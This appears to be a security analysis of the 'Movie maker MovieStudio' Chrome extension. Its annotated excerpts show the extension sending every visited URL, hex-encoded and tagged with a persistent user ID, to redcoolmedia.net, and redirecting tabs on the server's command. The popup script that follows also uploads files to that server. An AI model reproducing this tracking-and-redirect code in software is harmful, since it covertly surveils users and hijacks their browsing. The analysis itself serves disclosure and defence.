Is Movie maker MovieStudio video editor safe?

// Runs on every navigation via exx().
// Reads the stored tracking object from local storage.
const stored = await chrome.storage.local.get(['redcool_key']);
let profile = stored['redcool_key'] || { usernameredcool: null, redcoolonline: null };

// If no ID exists yet, generate one and save it.
if (!profile.usernameredcool) {
    profile.usernameredcool = randomString(10).toLowerCase(); // e.g. 'mey7ptac6h'
}

// Persist the (possibly new) ID back to storage.
await chrome.storage.local.set({ redcool_key: profile });

// The ID is then appended as u= on every fetch to redcoolmedia.net.

// This runs when the service worker starts, separate from the local storage copy.
// The chrome.storage.sync API replicates data across all Chrome instances
// where the user is signed in — so the ID may follow the user to other devices.
const synced = await chrome.storage.sync.get('usernameredcool');
if (!synced.usernameredcool) {
    const newId = randomString(10).toLowerCase();
    await chrome.storage.sync.set({ usernameredcool: newId });
}
// Note: the sync and local IDs may differ (two separate generation paths).

// Fires every time the user switches focus to a different tab
chrome.tabs.onActivated.addListener(function(activeInfo) {
    xdii(activeInfo.tabId);  // → fetch the URL and send it
});

// Fires every time a tab's URL changes or finishes loading
chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {
    xdii(tabId);  // → fetch the URL and send it
});

function xdii(tabId) {
    chrome.tabs.get(tabId, function(tab) {
        // Skip if URL contains 'redco' (own domain) or is not http/https
        // Skip if URL is the same as the last one seen on this tab
        if (!tab.url.includes('redco') && tab.url.startsWith('http') && tab.url !== lastSeenUrl) {
            exx(tab.url);          // send the URL to remote server
            lastSeenUrl = tab.url; // deduplicate same-URL events
        }
    });
}

// Hex-encode the URL and POST it to the tracking endpoint
const response = await fetch(
    'https://stream.redcoolmedia.net/api/moviemakeru.php'
    + '?l=' + bin2hex(pageUrl)   // visited URL, hex-encoded
    + '&hex=1'                    // flag: URL is hex-encoded
    + '&u=' + trackingId          // persistent 10-char user ID
);

// Side-effect: if server replies with a string containing '302',
// the extension silently redirects the active tab to redcoolmedia.net
if (response.status === 200) {
    const body = await response.text();
    if (body.includes('302')) {
        chrome.tabs.update(activeTabId, {
            url: 'https://www.redcoolmedia.net/api/app-moviemaker.php?url=' + bin2hex(pageUrl) + '&u=' + trackingId
        });
    }
}

var usernameredcool = "";


(async function(){
       
        var redxda = { usernameredcool: null,  redcoolonline: null };

        const redcool_key = "redcool_key";
        var redcoolonline = "";
    
        let storageResult = await chrome.storage.local.get([redcool_key]);

        if (redcool_key in storageResult) {
                redxda = storageResult[redcool_key]
        }

        if ( redxda.usernameredcool ) {
            usernameredcool = redxda.usernameredcool;
        }
        else {
            usernameredcool = "" + randomString(10) + "".toLowerCase();
            redxda.usernameredcool = usernameredcool;
        }

        if ( redxda.redcoolonline ) {
            redcoolonline = redxda.redcoolonline;
        }
        else {
            redcoolonline = "1";
            redxda.redcoolonline = "1";
        }

        var stox = {};
        stox[redcool_key] = redxda;
        await chrome.storage.local.set(stox);

        //console.log(usernameredcool);
        //console.log(redcoolonline);  

        if ( redcoolonline == "1")  {
            document.getElementById("redcoolonline").checked = true;
        }
        else {
            document.getElementById("redcoolonline").checked = false;
        }
    
    
    
    
    
        var xhrbb = new XMLHttpRequest();
        xhrbb.open('GET', 'https://stream.redcoolmedia.net/api/moviemakerb.php?u=' + usernameredcool, true);
        xhrbb.onload = function (e) {
                        if (xhrbb.readyState === 4) {
                                if (xhrbb.status === 200) {
                                        //console.log(xhrbb.responseText);
                                        var response1 = xhrbb.responseText;
                                        internetx = document.getElementById('internetx');
                                        internetx.innerHTML = "<tr><td>No mp4 videos in this webpage</td><td>-</td><td>-</td><td>-</td></tr>"; 
                                        internetx.innerHTML = response1;

                                 } else {
                                        internetx = document.getElementById('internetx');  
                                        internetx.innerHTML = "<tr><td>No mp4 videos in this webpage</td><td>-</td><td>-</td><td>-</td></tr>";
                                }
                         }
                };
        xhrbb.onerror = function (e) {
                        internetx = document.getElementById('internetx');  
                        internetx.innerHTML = "<tr><td>No mp4 videos in this webpage</td><td>-</td><td>-</td><td>-</td></tr>";
                };
        xhrbb.send();  
    
    
    
        
    
    
        $.fn.tablesorter = function() {
                var $table = this;
                this.find('th').click(function() {
                        var idx = $(this).index();
                        var direction = $(this).hasClass('sort_asc');
                        $table.tablesortby(idx,direction);
                });
                return this;
        };
        $.fn.tablesortby = function(idx,direction) {
                var $rows = this.find('tbody tr');
                function elementToVal(a) {
                        var $a_elem = $(a).find('td:nth-child('+(idx+1)+')');
                        var a_val = $a_elem.attr('data-sort') || $a_elem.text();
                        return (a_val == parseInt(a_val) ? parseInt(a_val) : a_val);
                }
                $rows.sort(function(a,b){
                        var a_val = elementToVal(a), b_val = elementToVal(b);
                        return (a_val > b_val ? 1 : (a_val == b_val ? 0 : -1)) * (direction ? 1 : -1);
                })
                this.find('th').removeClass('sort_asc sort_desc');
                $(this).find('thead th:nth-child('+(idx+1)+')').addClass(direction ? 'sort_desc' : 'sort_asc');
                for(var i =0;i<$rows.length;i++)
                        this.append($rows[i]);
                this.settablesortmarkers();
                return this;
        }
        $.fn.retablesort = function() {
                var $e = this.find('thead th.sort_asc, thead th.sort_desc');
                if($e.length)
                        this.tablesortby($e.index(), $e.hasClass('sort_desc') );

                return this;
        }
        $.fn.settablesortmarkers = function() {
                this.find('thead th span.indicator').remove();
                this.find('thead th.sort_asc').append('<span class="indicator">&darr;<span>');
                this.find('thead th.sort_desc').append('<span class="indicator">&uarr;<span>');
                return this;
        }
        
        
        
        
     $("#redcoolonline").click(async function() {
        if (document.getElementById('redcoolonline').checked) {
            redxda.usernameredcool = usernameredcool;
            redxda.redcoolonline = "1";    
            var stox = {};
            stox[redcool_key] = redxda;
            await chrome.storage.local.set(stox);
        }
        else {
            redxda.usernameredcool = usernameredcool;
            redxda.redcoolonline = "0";    
            var stox = {};
            stox[redcool_key] = redxda;
            await chrome.storage.local.set(stox);
        }
        return false;
    });
    


    
        document.getElementById("newmovie").href = "https://www.redcoolmedia.net/PopcornEditor/moviemaker.html";
    
        var XSRF = (document.cookie.match('(^|; )_sfm_xsrf=([^;]*)')||0)[2];
        var MAX_UPLOAD_SIZE = 1100000000;
        var $tbody = $('#listx');
        $(window).on('hashchange',list).trigger('hashchange');
        $('#table').tablesorter();

        $('#table').on('click','.delete',function(data) {
                $.post('https://www.redcoolmedia.net/onlineeditor/filemanager.php?service=&username='+ usernameredcool,{'do':'delete',file:$(this).attr('data-file'),xsrf:XSRF},function(response){
                        list();
                },'json');
                return false;
        });

        $('#mkdir').submit(function(e) {
                var hashval = decodeURIComponent(window.location.hash.substr(1)),
                        $dir = $(this).find('[name=name]');
                e.preventDefault();
                $dir.val().length && $.post('?',{'do':'mkdir',name:$dir.val(),xsrf:XSRF,file:hashval},function(data){
                        list();
                },'json');
                $dir.val('');
                return false;
        });
    
        $('#file_drop_target').on('dragover',function(){
                $(this).addClass('drag_over');
                return false;
        }).on('dragend',function(){
                $(this).removeClass('drag_over');
                return false;
        }).on('drop',function(e){
                e.preventDefault();
                var files = e.originalEvent.dataTransfer.files;
                $.each(files,function(k,file) {
                        uploadMovieFile(file);
                });
                $(this).removeClass('drag_over');
        });
        $('input[type=file]').change(function(e) {
                e.preventDefault();
                $.each(this.files,function(k,file) {
                        uploadMovieFile(file);
                });
        });

    
        function uploadMovieFile(file) {
            
                //if (file.name.toLowerCase().indexOf(".mp4") < 0) {
                //    alert("This file is not a movie file");
                //    return;
                //}
            
            
                var folder = decodeURIComponent(window.location.hash.substr(1));

                if(file.size > MAX_UPLOAD_SIZE) {
                        var $error_row = renderFileSizeErrorRow(file,folder);
                        $('#upload_progress').empty(); 
                        $('#upload_progress').append($error_row);
                        window.setTimeout(function(){$error_row.fadeOut();},5000);
                        return false;
                }

                var $row = renderFileUploadRow(file,folder);
                $('#upload_progress').empty(); 
                $('#upload_progress').append($row);
                var fd = new FormData();
                fd.append('file_data',file);
                fd.append('file',folder);
                fd.append('xsrf',XSRF);
                fd.append('do','upload');
                var xhr = new XMLHttpRequest();
                xhr.open('POST', 'https://stream.redcoolmedia.net/onlineeditor/filemanager.php?service=&do=upload&username='+ usernameredcool);
                xhr.onload = function() {
                        $row.remove();
                list();
                };
                xhr.upload.onprogress = function(e){
                        if(e.lengthComputable) {
                                $row.find('.progress').css('width',(e.loaded/e.total*100 | 0)+'%' );
                        }
                };
            xhr.send(fd);
        }
    
        function renderFileUploadRow(file,folder) {
                return $row = $('<div/>')
                        .append( $('<span class="fileuploadname" />').text( (folder ? folder+'/':'')+file.name))
                        .append( $('<div class="progress_track"><div class="progress"></div></div>')  )
                        .append( $('<span class="size" />').text(formatFileSize(file.size)) )
        };
    
        function renderFileSizeErrorRow(file,folder) {
                return $row = $('<div class="error" />')
                        .append( $('<span class="fileuploadname" />').text( 'Error: ' + (folder ? folder+'/':'')+file.name))
                        .append( $('<span/>').html(' file size - <b>' + formatFileSize(file.size) + '</b>'
                                +' exceeds max upload size of <b>' + formatFileSize(MAX_UPLOAD_SIZE) + '</b>')  );
        }

        function list() {
            
                $.get('https://www.redcoolmedia.net/onlineeditor/filemanager.php?service=&do=list&username='+ usernameredcool,function(data) {
                        $tbody.empty();
                        $('#breadcrumb').empty().html("");
                        if(data.success) {
                            
                                var html = "";
                                var strxx = JSON.stringify(data.results);
                                if ( strxx.indexOf('mtime') < 0 )
                                {
                                        $tbody.append('<tr><td class="empty" colspan=5>This folder is empty</td></tr>');
                                }
                                $('body').removeClass('no_write');
                                    
                                var loqueda = strxx;
                            
                                while ( loqueda.indexOf('mtime') != -1 ) 
                                {
                                    
                                    var part1 = loqueda.substring(
                                        loqueda.lastIndexOf("\"mtime\""), 
                                        loqueda.lastIndexOf("}")
                                    );
                                    
                                    var pathx = part1.substring(
                                        part1.lastIndexOf("\"path\":\""), 
                                        part1.lastIndexOf("\",\"is_dir\"")
                                    );
                                    pathx = pathx.replace('"path":"', "");

                                    
                                    var namex = part1.substring(
                                        part1.lastIndexOf("\"name\":\""), 
                                        part1.lastIndexOf("\",\"path\":\"")
                                    );
                                    namex = namex.replace('"name":"', "");
                                    
                                    var sizex = part1.substring(
                                        part1.lastIndexOf("\"size\":"), 
                                        part1.lastIndexOf(",\"name\":\"")
                                    );
                                    sizex = sizex.replace('"size":', "");
                                    
                                    var is_dirx = part1.substring(
                                        part1.lastIndexOf("\"is_dir\":"), 
                                        part1.lastIndexOf(",\"is_deleteable\"")
                                    );
                                    is_dirx = is_dirx.replace('"is_dir":', "");
 
                                    
                                    var pathxtemp = pathx.replace("/var/www/html/weboffice/", "");
                                    var filename = Math.floor(Math.random() * 10000) + Math.floor(Math.random() * 10000);
                                    
                                    //var urly = "https://www.redcoolmedia.net/onlineeditor/preeditpdflocal.php?service=" +  service + "&username="+ username +"&filename="+filename+"&filepath=" + pathxtemp;
                                    var urix = "https://www.redcoolmedia.net/" + pathxtemp + "?service=";
                                    var mediaurl = encodeURIComponent(urix);
                                    var urly = "javascript:void(0)";
                                    
                                    
  		                            var urlxx = "https://www.redcoolmedia.net/PopcornEditor/moviemaker.html?mediaurl=" + encodeURIComponent(urix);
                                    
                                    //alert(urlxx);
                                    
                                    var $urlymp4 = $('<a/>').attr('target','_blank').attr('href',urlxx)
                                            .addClass('name').text('Edit Movie');;
                                    
                                    

                                    
                                    var $link = $('<a class="name" />')
                                    .attr('href', urly)
                                    .attr('target', "_blank")
                                    .text(namex);
                                    var allow_direct_link = false;
                                    //$link.css('pointer-events','none');
                                    var $dl_link = $('<a/>').attr('href','https://www.redcoolmedia.net/onlineeditor/filemanager.php?service=&do=download&username='+ usernameredcool + '&file='+ pathx)
                                            .addClass('download').text('download');
                                    var $delete_link = $('<a href="#" />').attr('data-file',pathx).addClass('delete').text('delete');
                                    var perms = [];
                                    perms.push('read');
                                    perms.push('write');
                                    var $html = $('<tr />')
                                    .append( $('<td class="first" />').append($link) )
                                    .append( $('<td/>').attr('data-sort', is_dirx ? -1 : sizex)
                                            .html($('<span class="size" />').text(formatFileSize(sizex))) )
                                    //.append( $('<td/>').attr('data-sort',data.mtime).text(formatTimestamp(data.mtime)) )
                                    .append( $('<td/>').text(perms.join('+')) )
                                    .append( $('<td/>').append( $delete_link )
                                            .append( $urlymp4 ));
                
                                    $tbody.append($html);
                                    loqueda = loqueda.replace(part1, "");
                                }
                            

                        } else {
                                console.warn(data.error.msg);
                        }
                        //$('#table').retablesort();
                },'json');
        }
    
    


        function renderBreadcrumbs(path) {
                var base = "",
                        $html = $('<div/>').append( $('<a href=#>Home</a></div>') );
                $.each(path.split('%2F'),function(k,v){
                        if(v) {
                                var v_as_text = decodeURIComponent(v);
                                $html.append( $('<span/>').text(' ?~V? ') )
                                        .append( $('<a/>').attr('href','#'+base+v).text(v_as_text) );
                                base += v + '%2F';
                        }
                });
                return $html;
        }
        function formatTimestamp(unix_timestamp) {
                var m = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];
                var d = new Date(unix_timestamp*1000);
                return [m[d.getMonth()],' ',d.getDate(),', ',d.getFullYear()," ",
                        (d.getHours() % 12 || 12),":",(d.getMinutes() < 10 ? '0' : '')+d.getMinutes(),
                        " ",d.getHours() >= 12 ? 'PM' : 'AM'].join('');
        }
        function formatFileSize(bytes) {
                var s = ['bytes', 'KB','MB','GB','TB','PB','EB'];
                for(var pos = 0;bytes >= 1000; pos++,bytes /= 1024);
                var d = Math.round(bytes*10);
                return pos ? [parseInt(d/10),".",d%10," ",s[pos]].join('') : bytes + ' bytes';
        }

    
    })(jQuery);





function randomS(len, charSet) {
        charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
        var randomString = '';
        for (var i = 0; i < len; i++) {
            var randomPoz = Math.floor(Math.random() * charSet.length);
            randomString += charSet.substring(randomPoz,randomPoz+1);
        }
        return randomString;
}



function randomString(len, charSet) {
    charSet = charSet || 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    var randomString = '';
    for (var i = 0; i < len; i++) {
        var randomPoz = Math.floor(Math.random() * charSet.length);
        randomString += charSet.substring(randomPoz,randomPoz+1);
    }
    return randomString;
}